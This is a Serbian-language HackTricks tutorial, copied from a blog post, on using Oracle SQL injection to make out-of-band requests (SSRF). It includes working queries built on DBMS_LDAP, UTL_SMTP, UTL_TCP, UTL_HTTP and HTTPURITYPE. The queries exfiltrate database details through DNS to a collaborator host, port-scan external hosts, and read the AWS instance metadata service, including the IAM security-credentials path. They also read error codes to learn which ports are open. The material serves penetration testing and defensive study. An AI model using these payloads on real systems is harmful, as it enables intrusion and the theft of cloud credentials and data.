Oracle injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Poslužite ovaj post kao kopiju izbrisane objave sa https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Korišćenje Oracle-a za izvršavanje HTTP i DNS zahteva van opsega je dobro dokumentovano, ali kao sredstvo za izvlačenje SQL podataka kod ubacivanja. Uvek možemo izmeniti ove tehnike/funkcije da bismo izvršili druge SSRF/XSPA napade.

Instalacija Oracle-a može biti veoma bolna, posebno ako želite da brzo postavite instancu kako biste isprobali komande. Moj prijatelj i kolega sa Appsecco, Abhisek Datta, uputio me je na https://github.com/MaksymBilenko/docker-oracle-12c što mi je omogućilo da postavim instancu na t2.large AWS Ubuntu mašini i Docker-u.

Pokrenuo sam docker komandu sa --network="host" zastavicom kako bih mogao da imitiram Oracle kao lokalnu instalaciju sa punim pristupom mreži, tokom pisanja ovog blog posta.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle paketi koji podržavaju URL ili specifikaciju Hostname/Port broja

Kako bih pronašao bilo koje pakete i funkcije koje podržavaju specifikaciju hosta i porta, izvršio sam Google pretragu na Oracle Database Online dokumentaciji. Konkretno,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Pretraga je vratila sledeće rezultate (ne svi mogu se koristiti za izvršavanje izlazne mreže)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Ova grublja pretraga očigledno preskače pakete poput DBMS_LDAP (koji omogućava prosleđivanje imena hosta i broja porta) jer stranica sa dokumentacijom jednostavno vas upućuje na drugom mestu. Dakle, mogu postojati i drugi Oracle paketi koji se mogu zloupotrebiti za izvršavanje izlaznih zahteva koje sam možda propustio.

U svakom slučaju, pogledajmo neke od paketa koje smo otkrili i naveli gore.

DBMS_LDAP.INIT

Paket DBMS_LDAP omogućava pristup podacima sa LDAP servera. Funkcija init() inicijalizuje sesiju sa LDAP serverom i kao argument prima ime hosta i broj porta.

Ova funkcija je već dokumentovana kako bi pokazala eksfiltraciju podataka putem DNS-a, kao što je prikazano ispod

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Međutim, s obzirom da funkcija prihvata ime hosta i broj porta kao argumente, možete je koristiti i kao skener porta.

Evo nekoliko primera:

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - Inicijalizacija nije uspela. pokazuje da je port zatvoren dok vrednost sesije ukazuje na otvoren port.

UTL_SMTP

Paket UTL_SMTP je dizajniran za slanje e-mailova preko SMTP-a. Primer koji je prikazan na Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za slanje e-maila. Za nas, međutim, interesantna stvar je mogućnost pružanja specifikacije hosta i porta.

Jednostavan primer je prikazan ispod sa funkcijom UTL_SMTP.OPEN_CONNECTION, sa vremenom isteka od 2 sekunde.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: prenos prekinut pokazuje da je port otvoren, ali nije uspostavljena SMTP veza, dok ORA-29278: SMTP privremena greška: 421 Servis nije dostupan pokazuje da je port zatvoren.

UTL_TCP

Paket UTL_TCP i njegove procedure i funkcije omogućavaju komunikaciju zasnovanu na TCP/IP protokolu sa servisima. Ako je programiran za određeni servis, ovaj paket može lako postati put za ulazak u mrežu ili izvršavanje zahteva sa serverske strane, jer se mogu kontrolisati svi aspekti TCP/IP veze.

Primer na Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za uspostavljanje sirove TCP veze radi preuzimanja web stranice. Možemo ga jednostavnije koristiti za slanje zahteva ka instanci metapodataka, na primer, ili ka proizvoljnom TCP/IP servisu.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interesantno je da, zbog mogućnosti oblikovanja sirovih TCP zahteva, ovaj paket takođe može da se koristi za upitivanje usluge meta-podataka instance svih provajdera oblaka, jer se tip metode i dodatni zaglavlja mogu proslediti unutar TCP zahteva.

UTL_HTTP i veb zahtevi

Možda najčešća i najšire dokumentovana tehnika u svakom tutorijalu za Oracle SQL Injection van opsega je UTL_HTTP paket. Ovaj paket je definisan dokumentacijom kao - Paket UTL_HTTP omogućava izvršavanje HTTP poziva iz SQL i PL/SQL. Možete ga koristiti za pristupanje podacima na internetu preko HTTP protokola.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Možete dodatno koristiti ovo da biste izvršili neke osnovne skeniranje portova koristeći upite poput

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener ili TNS:operation timed out je znak da je TCP port zatvoren, dok je ORA-29263: HTTP protocol error ili podaci znak da je port otvoren.

Još jedan paket koji sam koristio u prošlosti sa različitim uspehom je GETCLOB() metoda Oracle apstraktne vrste HTTPURITYPE koja vam omogućava interakciju sa URL-om i pruža podršku za HTTP protokol. Metoda GETCLOB() se koristi za dobijanje GET odgovora sa URL-a kao CLOB podatkovnog tipa.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated